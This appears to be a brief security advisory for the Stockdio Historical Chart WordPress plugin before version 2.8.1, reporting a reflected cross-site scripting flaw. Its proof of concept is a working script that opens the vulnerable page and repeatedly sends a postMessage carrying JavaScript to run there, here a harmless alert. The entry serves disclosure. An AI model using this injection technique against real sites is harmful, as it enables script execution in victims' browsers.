Stockdio Historical Chart < 2.8.1 - Reflected Cross-Site Scripting (XSS)

Proof of Concept

Use the following code on another website

<script>
        var popup = window.open('https://VULNERABLE.PAGE/');
        var msg = {};
        msg.method = "alert(document.domain)";
        function post(){popup.postMessage(msg,'*')}
        setInterval(post,1000);
</script>